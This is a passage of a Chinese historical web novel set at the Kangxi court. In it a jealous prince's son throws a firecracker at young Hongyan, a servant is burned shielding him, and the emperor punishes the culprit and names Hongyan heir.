弘暄试探道:“弘旺哥哥,难不成你想用这爆竹吓弘晏他们?” 弘旺勾了勾嘴角。 弘晸吃惊的望着弘旺:“弘旺,你疯了,稍有不慎会出人命的。” 弘暄跟着劝:“是啊,弘旺哥哥,这可不是闹着玩的。” 弘旺听了弘晸和弘暄的劝告,不但没有改变主意,反而更加坚定了这个念头:“两个胆小鬼,不敢就躲的远些。” 弘暄还想再劝,却被弘晸拦住了:“别管他,闯出祸来有他好果子吃的。” 不识好人心的家伙。 弘旺哼了哼,便朝着弘晏等人的方向走近了些。 弘晏正沉浸在放烟花的乐趣里,丝毫没有发现有一双视线正紧紧的盯着他瞧。 弘旺怕被发觉,不敢走得太近,在离弘晏还有几步远的地方便停了脚步,随即拿出火折点燃了引火线,便毫不犹疑的将爆竹用力的朝着弘晏所在的位置扔了过去。 此时跟着弘晏的石泉正好瞧见有一个东西在空中呈抛物线的形状快速飞过来,而且还带着火光。 石泉暗叫不好。 “阿哥,小心。”石泉边说着,边朝着弘晏纵身横扑过去,用身体护住了弘晏。 “嘣——”的一声,爆竹在石泉的背部炸开。 “啊——”背部炽热的灼烧感痛得石泉喊叫出来。 弘晏赶忙从地上爬起来:“石泉,你……”没事吧? 弘晏的话还没有说完,便瞧见了石泉血肉模糊的后背。 石泉望着弘晏,用尽最后一丝力气问道:“阿哥,没有伤着吧?” 话音落下,石泉昏死过去。 弘晏晃悠着石泉的胳膊:“石泉,石泉,快叫太医。” 事情发生的太过突然,众人都吓到了,最小的胤祕已然哇哇哭起来,胤祁赶忙哄着胤祕,而弘明第一个反应过来:“我去。” 弘明说着,就大步的跑走了。 “哥哥,等等我,我也去。”弘暟赶忙说着。 弘晏逼着自己冷静下来:“弘晈弟弟,你去找我阿玛来。” “好。”弘晈迈开腿就快速跑走了。 而胤祁却发现了对面的一小一大两个身影在此时赶快跑走了。 出了这样的事儿,自然惊动了康熙。 康熙拉着弘晏,一脸担忧的问道:“福宝,有没有伤到?” 弘晏瘪着嘴:“皇玛法,我没事,可是石泉他受了好重的伤。” 康熙摸着弘晏的小脑袋:“没事就好,许太医已然在偏殿医治石泉了。” 胤禛拱手道:“汗阿玛,此事蹊跷,宫里凭空出现了爆竹,爆竹又正巧落在了福宝的方向。” 爆竹威力大,若无康熙旨意,宫里一向是只放烟花来庆贺年节的。 康熙抬眼看向胤禛,开口道:“朕已然命魏珠去查了,定会为福宝讨回公道。” 这时,胤祁开了口:“汗阿玛,儿子当时看到有一大一小两个黑影跑走了,只是天黑,儿子又顾着哄二十四弟,就没瞧清楚。” 康熙摸了摸胤祁的小脑袋,以示安慰和夸奖。 少顷,魏珠迈步过来,禀道:“皇上,奴才已然查清了,今晚只有弘旺阿哥身边的林或去内务府的花炮作拿了爆竹。” 护子心切的郭络罗氏赶忙跳出来:“汗阿玛,弘旺拿了爆竹也不能证明此事就是弘旺所为。” 胤禩跟着开口:“是啊,汗阿玛,宫里虽只有弘旺身边的人拿过爆竹,可若是有人从宫外携带进来行凶也未可知啊。” 康熙犀利的眸子看向弘旺:“弘旺,今夜你与何人在一处,事发时又在做什么?” 弘旺站出来说道:“回皇玛法,孙儿今晚是一个人在猜字谜,身边除了林或并无旁人。” 康熙接着问:“猜字谜?没有放爆竹吗?” 弘旺连连摇头:“没有。” 康熙又道:“既如此,就把爆竹拿出来叫皇玛法瞧瞧。” 弘旺一愣,眼眸闪烁起来:“皇玛法,那爆竹孙儿扔了。” 康熙继续追问:“扔在了何处?” 弘旺接着摇头:“孙儿,孙儿不记得了。” 康熙又看向了弘旺身边的小太监:“林或,阿哥说的可是实情?” 林或赶忙道:“回皇上,是实情。” 康熙接着问:“那你说,阿哥为何叫你拿爆竹,拿了爆竹为何又没放,最后又把爆竹扔在了何处?” 林或开口道:“回皇上的话,阿哥一时兴起想放爆竹,便差奴才去花炮作拿,可奴才去了太久,阿哥没了兴致就去猜字谜了,夜里黑,奴才随手就将爆竹扔进了湖水里。” 这回答可谓是滴水不漏。 这时,御前小太监带着爆竹的残渣来回话了:“皇上,经过花炮作太监的辨认,今夜爆炸的爆竹就是被弘旺阿哥身边的林或拿走的那种爆竹。” 康熙喝道:“大胆的奴才,朕面前还敢作假,拉出去,打。” 此时,胤禩又站了出来:“汗阿玛,此事定然是有人嫁祸弘旺,还望汗阿玛明察。” 胤禛站了出来,看向胤禩犀利发问:“八弟,你倒是说说,谁人能未卜先知,提前知晓弘旺会命人去花炮作拿什么样的爆竹,再用同样的爆竹来做嫁祸之事呢?” 胤禩一时语塞:“这……” 此时,御前小太监来报:“皇上,林或受不住,已然招了,他言是弘旺阿哥命他去花炮作拿了爆竹,又亲自引燃去吓弘晏阿哥的,他还言当时弘晸阿哥与弘暄阿哥都在场。” 郭络罗氏又跳了出来:“汗阿玛,林或定然是被人收买了,他的供词不足为信啊。” 康熙没理郭络罗氏,而是叫弘晸和弘暄到面前来。 康熙问向两个孙儿:“你们说,事发时可与弘旺在一处?” 弘晸先开口回答:“皇玛法,孙儿三人一开始是在一起的,可后来弘旺就走了。” 康熙又看向了弘暄。 弘暄经过内心的纠结后,还是决定向康熙坦白了他知道的一切。 待弘暄说完,弘晸连忙跪下:“皇玛法,孙儿方才说谎了,事实就是如弘暄说的那般,孙儿怕受牵连,这才说了谎话,还望皇玛法宽宥。” 康熙先叫弘晸与弘暄退下,转而满面怒意的看向弘旺:“弘旺,你还有何话可说?” 弘旺连忙磕头:“皇玛法,孙儿不是故意的,孙儿只是想和弘晏弟弟开个玩笑罢了。” 康熙皱眉:“玩笑?爆竹是能随便玩笑的吗?” 胤禩掀起衣袍跪在地上:“汗阿玛,弘旺年幼无知险些闯了大祸是该罚,幸而弘晏并未被爆竹所伤,还望汗阿玛息怒,儿臣愿代弘旺受罚。” 这话,弘晏可就不乐意听了,随即走过去拉了拉康熙的衣袖,瘪着嘴可怜巴巴的说道:“皇玛法,孙儿和弘旺有过节,他是纯心报复孙儿啊,若非石泉舍身护着孙儿,那爆竹炸在孙儿的身上,孙儿就再也瞧不见皇玛法了。” 一想到石泉舍身护他的场面,弘晏便忍不住哭出来,这也使得弘晏受害者的形 象更丰满了。 弘晏的话倒是提醒了康熙,弘旺的作案动机便有了,康熙揉了揉弘晏的小脑袋,又用指腹擦去弘晏眼角的泪水:“福宝不怕,皇玛法定为你做主。” 康熙说完,便开始发令:“八贝勒教子无方,免其一切职务,弘旺欲伤手足,杖打二十,禁足一年。” 康熙话音落下,便有小太监拉着弘旺去杖责,弘旺已然吓得腿软了:“皇玛法,孙儿知错了,额娘,额娘救我啊。” 郭络罗氏跪在地上哀求:“汗阿玛,弘旺已然知错了,求您开恩,让儿媳替弘旺受罚吧。” 康熙看着郭络罗氏,沉声道:“你若再多言,弘旺就再加罚二十杖。” 胤禩按住了郭络罗氏:“儿臣领罚。”【你现在阅读的是 】 120-130 第121章 第121章救命恩人 被杖责的弘旺眼泪顺着长凳往下滴:“呜呜,疼,额娘,我好疼啊。” 郭络罗氏心疼的眼眶都红了,却被胤禩死死的拉着手。 弘晏瞧着那木杖一下下落在弘旺的屁股上只觉得解气。 片刻后,弘晏扭过小脸儿看向康熙:“皇玛法,孙儿想去偏殿看看石泉。” 康熙揉了揉弘晏的脑袋:“好,去吧。” 弘晏一路小跑去了偏殿,石泉趴在小榻上,嘴里咬着棉布,许太医还在给石泉涂药,弘晏走近了,瞧见石泉背部触目惊心的烧伤,肌肉都成焦的了,眼泪“唰”的流了出来:“石泉。” 石泉一见弘晏,将嘴里咬着的棉布吐了出来,还想挣扎着起身:“阿哥,撕——” 他一动,背部就痛的厉害。 弘晏赶忙阻止石泉:“别动,你别动,石泉。” 石泉望着满脸泪水的弘晏,强挤出笑容来:“阿哥别担心奴才,奴才一点儿都不疼。” 弘晏自然是不信的:“怎么可能不疼啊。” 石泉想给弘晏擦去泪水,可是他实在没有这个力气,只能哄道:“阿哥别哭,奴才贱命一条,不值当阿哥掉金豆子。” 弘晏摇摇头:“没有你,我现在是生是死都不知道,你是我的救命恩人啊。” 石泉一脸恳切:“奴才怎当的起阿哥一句救命恩人,奴才早就说过,阿哥对奴才一家有大恩,奴才愿意为阿哥赴汤蹈火,做牛做马,今日,就算奴才救了阿哥,也抵不了阿哥对奴才一家恩情的万分之一。” 弘晏吸了吸鼻子:“好了,好了,你别说了,好好歇着。” 弘晏用袖子擦了眼泪,转而问向许太医:“许太医,石泉的伤能痊愈吗?” 许太医只道:“回阿哥,这爆竹幸而火药装的少,威力没有那么大,石泉只有背部被灼伤,精心养护几个月后,与正常人相比自是一般无二的,只是这背部落疤是自然的。” 弘晏点了点小脑袋。 随即,弘晏又对着石泉说道:“石泉,那爆竹查清了,是弘旺干的,皇玛法打了他二十杖,足够让他一个月下不了床,我也算为你、为我、为我们报仇了。” 石泉点头:“多谢阿哥。” 弘晏从偏殿出来后,弘旺已经被打完了二十杖。 康熙看向弘晏,又下了旨:“福宝,石泉舍身救主,应当嘉奖,赏白银百两。” 弘晏拱手:“孙儿替石泉谢过皇玛法,皇玛法,孙儿还有一件事要求您。” 康熙满是慈爱的望着弘晏:“但说无妨。” 弘晏恭恭敬敬的跪下了:“皇玛法,石泉伤势太重,孙儿想让许太医去雍亲王府医治石泉,直至石泉痊愈。” 康熙点头:“好,皇玛法允了。” 他的小福宝,倒是有情有义。 弘晏笑着叩头:“孙儿谢皇玛法。” 这件爆竹案处理完毕,康熙便让众人散了。 石泉伤的太重,便让小太监们用担架抬出宫门,再抬上马车。 回雍亲王府的马车上,乌拉那拉氏搂着弘晏,心里还有些后怕。 胤禛亦是如此。 而驶向九贝子府的马车上,胤禟问向了弘晸:“弘晸,你为何一开始没有说实话呢?” 当着自家阿玛和额娘的面儿,弘晸说出了心中所想:“在我和弘暄面前,弘旺总是一幅‘老大’的模样,对我们说话也不客气,可阿玛总归和八叔是好兄弟,我只好装作不知道了。” 胤禟听完,抬手揉了揉弘晸的脑袋瓜:“以后离弘旺远些,这小子倒是心狠。” 弘晸点了点脑袋。 九福晋适时出声:“爷叫弘晸远离弘旺,那爷自个儿呢?” 胤禟看向九福晋:“杨崇远揭发爷的事儿,爷查到现在也没个眉目,可经过了今个儿的事,爷好像找到答案了。” 弘旺如此憎恨弘晏,与胤禩憎恨胤禛无二,今日当众出手,难保不是平日里受了老八的熏陶才失了分寸。 是以,一举将胤禛父子推到风口浪尖上,对胤禩来说,可是大好事。 纵使失了手,也不会将他自己露出来。 九福晋闻言,细细思量后,又问道:“爷的意思是……八爷?!” 胤禟没答,只道:“总之,你以后离郭络罗氏也远些。” 自己心知肚明就行了,胤禩向来做事周全,就像老十说的,杨崇远已然死透了,再查也查不出来什么了。 九福晋掀了掀嘴角,哼道:“要不是碍着爷与八爷的交情,我才懒得理郭络罗氏。” 这时,去敦郡王府的马车上也开始了复盘。 胤俄夸道:“弘暄,今晚儿上做得很好。” 弘暄扬起小脸儿问:“阿玛,我这样做,你不怪我会影响你和八伯、九伯的关系吗?” 胤俄笑了:“你正是因此才没有第一时间站出来指证弘旺的吧。” 弘暄点了点脑袋。 胤俄慈爱的看着弘暄:“大人之间的事儿与你无关,阿玛一直告诉你要做个堂堂正正的人,你今夜这般正像个男子汉。” 十福晋摸了摸弘暄的脸:“是了,咱们看见什么便说什么,对得起自己的良心,别像旁人弯弯绕绕的祸害人。” 弘暄笑着点头:“阿玛、额娘的教诲,儿子记住了。” 十福晋捧着弘暄的脸夸道:“好儿子。” —— 马车到了雍亲王府,弘晏亲眼瞧着石泉安顿好以后,才放心的去沐浴更衣。 胤禛与乌拉那拉氏坐在弘晏的床沿,瞧着弘晏呼呼睡着了,才放心的离开了弘晏的寝房。 与安静和谐的雍亲王府相比,八贝勒府已然是乱成一团了。 二十杖下去,弘旺的屁股已经血肉模糊了,可把郭络罗氏心疼坏了。 弘旺平躺在床榻上,两只手紧紧抓着身下的褥子,疼得龇牙咧嘴:“哎呦,疼。” 郭络罗氏恨不得自己来给弘旺上药:“王太医,你动作倒是轻点啊。” “是,是。”王太医连连应声。 这个档口给八贝勒的弘旺阿哥看病可是个苦差事,太医院的太医都不愿意来,就把他这个资历最浅的太医给推出来了。 郭络罗氏揉着手里的帕子,愤愤道:“汗阿玛真是偏心,为了个低贱的奴才竟把我儿打成这样,林或也是个不中用的狗奴才,那弘晏更是不知道给汗阿玛下了什么迷魂的汤药,竟然答应让许太医专门医治那个下贱的奴才。” 胤禩看了一 眼王太医,出声提醒道:“福晋。” 郭络罗氏只得先将怒气压下。 王太医连眼睛都不敢抬,耳朵也恨不得包起来,就八福晋方才那些话,哪里是有命能听得。 这时,一个小太监进门禀报:“爷,张格格在外求见。” 郭络罗氏正一肚子气没出撒,听了这话,当即就踩着花盆地出去了。 廊下望眼欲穿的张格格见郭络罗氏出来,忙福身道:“福晋,宫里的事儿我都听说了,旺儿伤得重,还望福晋能让妾身进去看看旺儿,照顾旺儿。” “啪” 一个响亮的巴掌扇在张格格脸上,郭络罗氏拧眉:“你是什么东西,旺儿也是你能叫的?” 张格格的左脸瞬间红肿,可她也不敢捂着,赶忙蹲下:“福晋教训的是,是妾身失言,妾身求福晋开恩,让妾身见一见大阿哥。” 郭络罗氏居高临下的看着张格格,正欲发火时,便见胤禩走了出来。 张格格脸上的巴掌印,胤禩看得清楚,只道:“弘旺有太医医治,还有爷和福晋照料,夜深了,你回去吧。” “是,妾身遵命。”张格格话落,赶忙离开了。 郭络罗氏扭脸看向胤禩,眼尾向上挑,语气有些不爽:“爷这是心疼她了?” 胤禩开口道:“弘旺还伤着,你非要他听到这些吗?” 话落,胤禩转身进去,郭络罗氏也跟着进去了。 离开了郭络罗氏的院子,张格格委屈的捂住脸哭出声来。 一旁的丫鬟春杏也替自己主子不平:“格格,明明您才是大阿哥的生母,别的皇子府里都是母凭子贵的,可大阿哥一生下来,就叫郭络罗氏抢了去,您是一面也难见,还要遭受郭络罗氏如此羞辱。” 张格格抽泣着:“谁叫我出身低贱呢。” 八爷的出身是一众皇子中最低的,自然也在人前矮了一截,他吃过的苦,又岂会叫自己儿子再吃一遍。 春杏既替自家主子委屈,又替小主子担忧:“格格,郭络罗氏仗着出身好就飞扬跋扈,连带着将大阿哥也教成了这幅模样,今日是挨了皇上的打,以后指不定要出什么事儿呢。” 张格格拿着帕子擦了泪:“你方才也说了,我连见旺儿一面都难,又怎敢插手旺儿的教养之事,总归还有爷在,旺儿到底是爷唯一的孩子,爷不会纵着郭络罗氏胡闹下去的。” 春杏觉得有理,点了点头。 眼泪擦干,张格格也想通了:“我如今便忍着,我要好好吃饭,好好活着,等熬死了郭络罗氏,旺儿继承了八贝勒府,我们母子就有相认的那一日了。” 有了盼头,张格格的眼睛都亮了。 春杏很是赞同:“格格说得是。” 这厢,王太医给弘旺上好了药,胤禩便叫王太医下去休息了。 待屋子里只剩他与郭络罗氏时,胤禩看着弘旺,缓缓开口:“弘旺,今晚你太冲动了。” 皇宫之内,众目睽睽之下,岂能明目张胆的动手,落人口实。 郭络罗氏闻言,只道:“爷,弘旺都伤成这样了,你还责怪他?” 而弘旺握紧了褥子:“阿玛,我就是不甘心。” 胤禩又问:“不甘心什么?” 弘旺红了眼睛:“从前,弘明、弘暟、弘晸还有弘暄都是围成我转的,可如今弘明、弘暟、十三叔家的弘晈,还有二十三叔和二十四叔他们都围着弘晏转,就连弘晸和弘暄都太找我玩了,我不服,弘晏到底有什么好的,我哪里比不上他。” 郭络罗氏听了这话,更加心疼弘旺:“他们与你皇玛法一样,都是让猪油蒙了心,叫弘晏下了迷魂汤药了,你瞧着吧,等你阿玛坐上了太子之位,他们就巴巴的来求着你玩了。” 弘旺眼睛亮了:“额娘,会有那一日吗?” 郭络罗氏毫不犹疑:“当然,你就等着瞧吧。” 胤禩瞧着对未来充满期待的郭络罗氏与弘旺,到嘴边的话又咽下了。 他这些日子的隐忍与勤勉,好不容易才提升了在汗阿玛心中的分量,可今晚弘旺这一出,不但将他之前所有的努力化为泡影,还让所有人都认为他的儿子小小年纪,却心肠狠辣。 如今,汗阿玛更免去了他一切的职务,他离太子之位的路途更加遥远了。 第122章 第122章受封世子 第二日清晨,弘晏进了学堂,就被三个哥哥围了起来。 “六弟,还好你没事,否则我饶不了弘旺。”弘昼说着,已然攥起了拳头。 弘历跟着点头:“知人知面不知心,六弟,你以后再出门,可要小心些,要多带些人手。” 弘时也是一脸的愤怒:“弘旺可真不是东西,幸好皇玛法英明,将弘旺的屁股打烂,叫他下不了床。” 弘晏听着三个哥哥的话,心中很是感动,给每人一个大大的拥抱。 上完第一堂课,中途有一刻钟的休息时间,弘晏就出了学堂要去看望石泉。 走到屋子外面,弘晏正要进去,却看见周氏和石蕊正坐在石泉的床沿,便先停了迈进门槛的动作。 “娘,这是皇上赐的一百两银子,您收好。”石泉说着,将鼓鼓囊囊的钱袋递给周氏。 周氏没接,瞧着石泉的伤,已然泪流满面了:“儿啊,这是你用命换来的,娘哪里能拿,你快收起来。” 趴在床上的石泉咧着嘴笑:“娘,我留着银子没用,您收着,将来给妹妹做嫁妆。” 石蕊连连摇头:“呜呜,我不要这嫁妆,我只要哥哥你好好的。” 石泉就怕他妹妹哭,哄道:“哭什么,哥哥这不是好好的嘛。” 弘晏见状,转过身子往回走。 跟着弘晏的田玉问道:“阿哥,怎么不进去了?” 弘晏开口解释:“叫他们母子三个好好说会儿话吧,我有的是机会看石泉。” 他一进去,周氏和石蕊顾及着他这个主子在,哪里还能说体己话呢。 第二堂课下后,弘晏又带着田玉去看石泉。 石泉一见着弘晏,便要起身行礼。 弘晏见状,出言阻拦:“你好好躺着,不要乱动。” 石泉嘴角露出了笑:“阿哥,奴才没事儿,阿哥不必忧心奴才,阿哥让许太医给奴才医治,又派了人专门照看奴才,奴才哪担当的起啊。” 弘晏一本正经道:“我说你当的起,你就当的起。” 跟着弘晏的田玉开口附和:“是啊,石泉,阿哥一番好心你可不要辜负了,老实养伤就是,阿哥有我照顾呢。” 石泉点头:“是,奴才都听阿哥的,早日养好伤,早日伺候阿哥。” 瞧完石泉,弘晏便回学堂上课了。 午后,魏珠带着圣旨来了雍亲王府。 府内众人以胤禛为首皆跪地接旨。 直到魏珠宣读完旨意,弘晏还没有回过神来,他这是被皇玛法封为世子了?! 魏珠将宣读完的圣旨卷起来,笑吟吟的看着弘晏:“恭喜世子爷,贺喜世子爷,世子爷快接旨吧。” 弘晏赶忙将双手伸出头顶:“孙儿谢皇玛法恩旨。” 魏珠双手将圣旨稳稳地放在弘晏的手心里:“世子爷请起吧。” 弘晏等人这才起身。 “世子爷,除了这道旨意,皇上还有一件东西赏您。”魏珠说着,身后跟着的小太监迈步上前来。 弘晏好奇的看向了托盘上被红绸罩的物件。 魏珠将红绸掀开:“世子爷,这是西洋进贡的自鸣钟,能够自鸣报时。” 弘晏笑得眉眼弯弯:“魏公公,替我多谢皇玛法,明日我就进宫谢恩。” 魏珠颔首:“是,那奴才便回宫复命了。” 胤禛亲自将魏珠送出了雍亲王府。 弘昼兴冲冲的问道:“六弟,这自鸣钟能让我玩玩吗?” 看起来好好玩的样子。 弘晏笑着点头:“当然可以了。” 耿格格也是第一次见西洋的物件,虽然觉得新鲜,但还是不放心的嘱咐起弘昼来:“弘昼,你毛手毛脚的,看看就成了,可别弄坏了。” 弘昼咧着嘴笑:“额娘,我有分寸的。” 时间到了整点,自鸣钟便开始报时了。 弘昼眼睛一亮:“这自鸣钟还会唱歌呢,比鸟叫还好听。” 弘晏笑着解释:“五哥,这是西洋音乐。” 这自鸣钟在现在的时代是稀罕物,在后世可是走进千家万户了的。 弘昼抬手挠着小脑袋:“嘿嘿,还是六弟见多识广。” 弘晏又道:“五哥若喜欢,明日叫你玩一天,如何?” 皇玛法赏得新物件,他当然要先在自己的寝房里摆一天了。 弘昼高兴的抱住了弘晏:“好啊,谢谢六弟。” 弘时与弘历也喜欢,但没有弘昼能够那么直白的表现出来。 细心的弘晏还是发现了弘时和弘历也喜欢这自鸣钟,又补充道:“三哥、四哥,后日和大后日也叫你们各玩一天,如何?” 弘历瞬间就笑了:“那就谢过六弟了。” 弘时跟着点头。 钮祜禄格格面上笑得灿烂,心里还是有些发酸。 三阿哥弘时平庸,五阿哥弘昼顽皮,她本以为弘历还是有机会能坐上世子的位置的,可自从六阿哥弘晏出生后,她便觉得这希望渺茫了。 六阿哥弘晏天资聪颖,是文武全才,又深得胤禛和康熙的喜欢,但她没有想到这册封世子的圣旨会来的这样快,不过这样也好,六阿哥待人亲和,对三个兄长也是一视同仁的,将来六阿哥承袭了雍亲王的爵位,她们也都能有好日子过。 送完魏珠回来的胤禛见众人还嬉笑成一团,便发话了:“好了,都回去上课吧。” 弘时、弘历和弘昼不情愿的拖着步子走了。 钮祜禄格格等人也各自回了院子。 胤禛带着乌拉那拉氏和弘晏去了书房。 乌拉那拉氏开口问:“爷,汗阿玛怎会突然封福宝做世子?” 难不成是昨晚福宝受了委屈,所以这是康熙给予的补偿。 弘晏也很好奇。 这对于他来说,是有点太意外了。 胤禛见乌拉那拉氏与弘晏都望向了自己,便开口解释:“不是突然,汗阿玛当初来圆明园小住便是在暗中考察,临走之前,汗阿玛已然决定要封福宝为世子了,现在才颁旨意不过是应着中秋节的好日子罢了。” 乌拉那拉氏与弘晏这才明白。 弘晏撅着嘴:“阿玛既然早就知道了,却一点儿消息都没有透露。” 便宜阿玛的保密工作做得可真好。 胤禛笑了:“是你皇玛法叫我守口如瓶的。” 弘晏“哦”了一声。 嘴严果然是遗传的。 胤禛又道:“福宝,你如今成了世子,每年可领六千两的俸银和六千斛祿米。” 弘晏的眼睛陡然亮了:“这么多银子!” 看来,他以后的小金库要财源广进了。 胤禛有心逗一逗弘晏:“福宝,这么多银子交给阿玛给你保管可好?” 弘晏摇头:“我给额娘收着。” 乌拉那拉氏笑了:“好,额娘给你攒着将来娶福晋用。” 弘晏挠了挠脑袋:“阿玛,额娘,我去上课了。” 话音落下,弘晏就一溜烟儿跑走了。 乌拉那拉氏拿帕子掩唇:“福宝才六岁,都知道害羞了。” 胤禛端起了手边的茶盏:“福宝如今读了书,自然明白男女有别。” 乌拉那拉氏笑完了落荒而逃的弘晏,又看向了胤禛:“方才我还以为爷要和福宝说,他被册封为世子的意义和要承担的重任。” 毕竟,这才是胤禛的行事风格。 胤禛饮下一口茶,又将手中的茶盏放回了原处:“福宝已然很好了,他还是六岁的孩子,不该拘着他的天性,等他再大些,自然就明白了。” 乌拉那拉氏倒是赞同这番话。 晚上,弘晏用完晚膳便来看石泉了。 田玉将手上拎着的食盒放下:“石泉,这可是阿哥特意吩咐厨房给你做的骨头汤。” 石泉笑着开口:“多谢阿哥,奴才还没来得及恭喜阿哥被册封为世子了。” 田玉也笑了:“是啊,叫阿哥叫顺口了,我都忘了改口呢。” 弘晏只道:“你们两个是我最亲近的人,不必在称呼上计较,叫阿哥就成。” 叫“阿哥”,听起来还亲切呢。 田玉摇头:“那可不行,世子爷,我们叫顺口了,到外面可就不好改了。” 石泉点头:“田玉说的是,以后就该叫世子爷才是。” 弘晏只是呵呵笑着:“随你们吧。” —— 翌日一早,弘晏换了件石榴红的袍子跟着胤禛进宫去了。 与以往一样,胤禛将弘晏送到乾清宫,给康熙请完安以后就识趣的当差去了。 弘晏忽闪着眼睛望向康熙:“皇玛法,我给你带了蟹黄蒸饺。” 虽然康熙已经用过早膳了,但弘晏这么念着他,他怎能忍心拂了弘晏的好意:“哦?那皇玛法可得尝尝。” 梁九功把蟹黄蒸饺从保温食盒里拿出来呈到了康熙面前。 康熙瞧着盘子里奇形怪状的蒸饺,忍不住翘了翘嘴角,而后提起筷子从盘子里夹了一个蒸饺细细品尝起来。 一个蒸饺下肚,康熙便将筷子放下:“菜讲究色香味俱全,这蒸饺味道不错,可这卖相太差了些,不像样子。” 满是期待的弘晏听了这话,撅了撅嘴巴:“皇玛法,这蒸饺可是我一大早起来跟厨房的师傅学包的。” 哪有那么差劲啊。 康熙一愣。 他就说雍亲王府的厨子怎么会包出这弯弯扭扭四不像的蒸饺来。 康熙开口找补:“原是福宝亲手包的啊,甚好,有新意,朕瞧着这个像鱼尾,这个像海螺,还有这个像洋芋。” 听康熙这么一说,连弘晏自己都有些相信了,便也笑了:“皇玛法,我本来想给您做蟹黄汤包的,可包子太难包了,我就改成蒸饺了。” “‘孟子曰:君子远庖厨。’福宝有这份儿孝心,皇玛法很是开心。”康熙说着,又夹了一个蒸饺吃。 弘晏见康熙吃的开心,笑嘿嘿的开了口:“皇玛法,您送的自鸣钟孙儿很是喜欢,您的私库里是不是还有别的西洋宝贝啊?” 康熙夹第三个蒸饺的动作一顿:“福宝,你今日进宫哪里是谢恩来了,分明是讨赏来了。” 康熙说着,将筷子放下了。 弘晏拉了拉康熙的袖口,开始撒娇:“皇玛法,孙儿不是为自己,额娘要照顾孙儿,还要管理整个雍亲王府着实辛苦,孙儿是想送给额娘的。” 康熙只道:“你既然要送你额娘礼物,那就该自己花心思准备,这才算是有诚意啊。” 弘晏忽闪着眼睛:“孙儿是有些银钱,可想来想去,皇玛法您坐拥天下,富有四海,世上的好东西还不都在您这里嘛,孙儿为何还要舍近求远呢?便只好求到您这里来了。” 弘晏这一番话,倒是哄得康熙龙颜大悦。 康熙发话:“梁九功,去朕的私库里,将法兰西进贡的香水取一瓶来。” 梁九功应声去办。 随即,弘晏恭恭敬敬的行礼:“嘿嘿,孙儿谢过皇玛法。” 康熙用过蒸饺后,便和弘晏下了两局棋解闷,而后有大臣来觐见,康熙便叫弘晏先去偏殿玩了。 午时将至,胤禛来乾清宫接弘晏回去,康熙留了胤禛与弘晏用午膳,方才叫父子二人回去。 回雍亲王府的马车上,胤禛瞧见弘晏手里抱着的檀木盒子,便好奇询问。 弘晏卖起了关子:“是我要送给额娘的礼物。” 胤禛眉头一挑,有些吃醋:“你向皇玛法讨了好东西给你额娘,就没有给阿玛的吗?” 弘晏大脑飞速运转:“嘿嘿,阿玛能干,办差得力,皇玛法自然会赏赐好东西给阿玛,哪里需要我讨要啊?” 胤禛勾了勾嘴角。 小家伙总是有话来对付他的。 到了雍亲王府,胤禛直接带着弘晏往正院去了。 “额娘,快打开瞧瞧,我给你带什么好东西回来了?”弘晏献宝似的将檀木盒子递给乌拉那拉氏。 乌拉那拉氏打开檀木盒子后,怔了怔:“这是?” 弘晏忽闪着眼睛:“法兰西进贡的香水,额娘快试试。” 乌拉那拉氏便将香水打开闻了闻,清香扑鼻,好闻的紧。 就这么一会儿的功夫,香水味便在屋子里弥漫开来。 弘晏也问到了这香味,又凑过去眨眼问道:“额娘喜欢吗?” 乌拉那拉氏将香水放下,把弘晏搂进怀里,笑盈盈道:“喜欢,不过,额娘还是最喜欢我的福宝了。” 第123章 第123章手心手背 冬日的雪花像鹅毛似的簌簌往下落,下了一天一夜还未停歇。 可这大雪对于弘晏来说,却是太棒了。 用罢晚膳,弘晏便冲到了院子里,踩着脚下厚厚的积雪,抬起小脑袋望天。 自从进了冬季,好久没有见过太阳了。 如今的天早已经黑漆漆一片了,只是院子四处都挂着散发着橘黄色火焰的灯笼,弘晏借着这暖光才能瞧清楚那一片片往下落的雪花。 在夜里赏雪,别有一番意味。 吃完饭的弘昼也跑了出来:“六弟,你仰着脑袋在干什么呢?” 弘晏闻言,扭脸回道:“五哥,我在看雪。” 弘昼有些不理解:“这么看,多累啊。” 得一直仰着脖子。 弘晏嘿嘿笑了:“我就看一会儿。” 弘昼伸手接了一片雪花:“六弟,你吃过雪吗?” 弘晏摇摇头。 他从来没有往这方面想过。 他还是玉兔精的时候,在雪地里打滚倒是常事。 随即,弘昼伸出石头舔了一口手里的雪花,眼睛瞬间亮了:“六弟,这雪花凉丝丝的,可甜了。” 弘晏将信将疑。 而吃完晚膳出来的弘历正好瞧见了弘昼舔手的那一幕,不由得震惊加皱眉:“弘昼,你,你怎么还吃手呢。” 都是八岁的大孩子了,怎么还学吃奶的小娃娃呢。 作为在场者的弘晏及时解释:“四哥,五哥是在吃手心的雪花,不是在吃手。” 弘昼哼了哼:“就是,我怎么会吃手呢。” 弘历还是接受不了:“那雪也不干净啊,怎么能吃得。” 弘昼开始为雪花发声:“雪花白白的,从天上落下来我是用手接住的,又没有落到地上让人踩过,怎么不干净?” 弘历一时答不出来,虽然还是不支持弘昼的这种做法,但是他还是很好奇:“五弟,雪花是什么味道?” 弘昼翘了翘嘴角:“不告诉你,想知道,自己尝尝就是了。” 弘历看向了弘晏。 弘晏笑道:“五哥说雪花凉丝丝、甜甜的。” 弘昼鼓了鼓嘴巴:“六弟,你告诉他干嘛。” 弘晏笑着解释:“五哥,我不说,四哥难道不会去问别人吗?” 依他对弘历的了解,他是绝对不会去吃雪花的。 弘昼没再言语。 这时,弘历却开了口:“五弟,你觉得雪花甜是因为晚膳时吃多了糖糕吧。” 雪,怎么会有味道呢? 一时间,弘昼也开始怀疑起了自己的判断。 这时,弘时走了出来:“在玩什么呢,这么开心。” 弘晏看向弘时,开口说道:“三哥,我们在讨论雪是不是甜的?” 弘时闻言,直接伸手接了一片雪,又紧跟着尝了一口,随即皱眉:“哪里甜了,分明就是水味嘛。” 弘历笑了:“看来我猜对了。” 弘昼挠了挠脑袋:“好吧,原来是糖糕的甜味还留在我嘴里。” 弘时实在不理解弘晏等人的讨论主题,便提议道:“还讨论这个做什么,离上晚课还有半个时辰呢,我们玩打雪仗怎么样?” 弘晏率先点头:“好啊。” 弘历与弘昼也是积极响应。 他们一共有四个人,打雪仗之前先进行分组。 弘晏有了主意:“我们喊三二一,就把自己的手伸出来,两个手心朝上的一组,两个手背朝上的一组。” 弘时与弘昼都觉得这主意不错,公平公正。 而弘历提出了自己的疑问:“那要是有三个人或者四个人出的都是手心或手背怎么办?” 这个概率虽然小,但是不意味着不会发生。 弘晏笑着解答:“那就多来几次,直到分出组来就好了。” 